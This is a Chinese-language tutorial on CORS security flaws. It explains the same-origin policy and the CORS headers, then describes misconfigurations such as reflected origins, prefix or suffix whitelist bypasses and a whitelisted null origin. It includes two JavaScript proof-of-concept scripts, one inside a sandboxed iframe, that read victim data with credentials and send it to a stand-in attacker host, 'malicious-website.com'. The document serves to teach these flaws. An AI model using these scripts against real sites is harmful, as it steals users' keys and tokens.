CORS安全问题
前置知识:
跨域资源共享(Cross-origin resource sharing)
作用:使用HTTP头告诉浏览器准许访问不同源服务器上的指定资源, 允许浏览器向跨域(不同源)服务器,发起XMLHttpRequest
请求,从而克服AJAX只能同源使用的限制。需要浏览器和服务器同时支持。
同源策略(Same-origin policy)
网络浏览器安全机制,防止网站相互攻击。限制源上的脚本访问另个源上的数据。由URI、协议、端口号组成单个源。
同源策略可以限制不同源应用之间的文本或脚本交互,可用于隔离潜在恶意文件的重要安全机制。
CORS标头以及功能实现
Access-Control-Allow-Origin: *
标识允许的请求来源。
允许多个来源、null
或通配符*
。但浏览器仅支持单个,并且通配符*
也会受到限制。
*
不能与凭据的跨越传输结合使用。鉴于此限制,一些Web服务器会根据客户端指定的来源动态创建标头,这是不安全的。
Access-Control-Allow-Credentials: true
允许将cookie或相关凭据传递给来源时读取响应。
预检查
在某些情况下,当跨域请求包含非标准的 HTTP 方法或标头时,跨域请求之前会出现使用该OPTIONS
方法的请求,并且 CORS 协议需要先检查允许哪些方法和标头允许跨域请求。
CORS利用
配置过于宽松,导致可利用漏洞
ACAO标头由请求头Origin生成
导致任何域均可访问站点资源,如果响应包含任何敏感信息,例如 API 密钥或CSRF 令牌,您可以通过在您的网站上放置以下脚本来检索它:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Origin解析错误
实施 CORS 源白名单时经常会出现错误,白名单规则通常通过匹配 URL 前缀或后缀,或使用正则表达式来实现。实施中的任何错误都可能导致访问被授予意外的外部域。
normal-website.com //以下结尾域名允许访问
testnormal-website.com //绕过
normal-website.com //对当前所在域允许访问
normal-website.com.test.com //绕过
列入白名单的 null 原始值
Origin 标头的规范支持 value null
。浏览器可能会在各种异常情况下发送 Origin 标头中的值:
- 跨域重定向。
- 来自序列化数据的请求。
file:
使用协议 请求。- 沙盒化的跨域请求。
某些应用程序可能会将null
源列入白名单以支持应用程序的本地开发。例如,假设一个应用程序接收到以下跨域请求:
GET /sensitive-victim-data Host: vulnerable-website.com Origin: null
服务器响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
null
在这种情况下,攻击者可以使用各种技巧来生成包含Origin 标头 中的值的跨域请求。这将满足白名单,导致跨域访问。例如,这可以使用以下iframe
形式的沙盒跨域请求来完成:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
CORS 常见漏洞点:
- 1.互联网厂商的api接口;
- 2.聊天的程序的api接口;
- 3.app的api <不过有一些请求需要带有一些额外的请求头,利用起来比较困难>;
- 4.区块链厂商;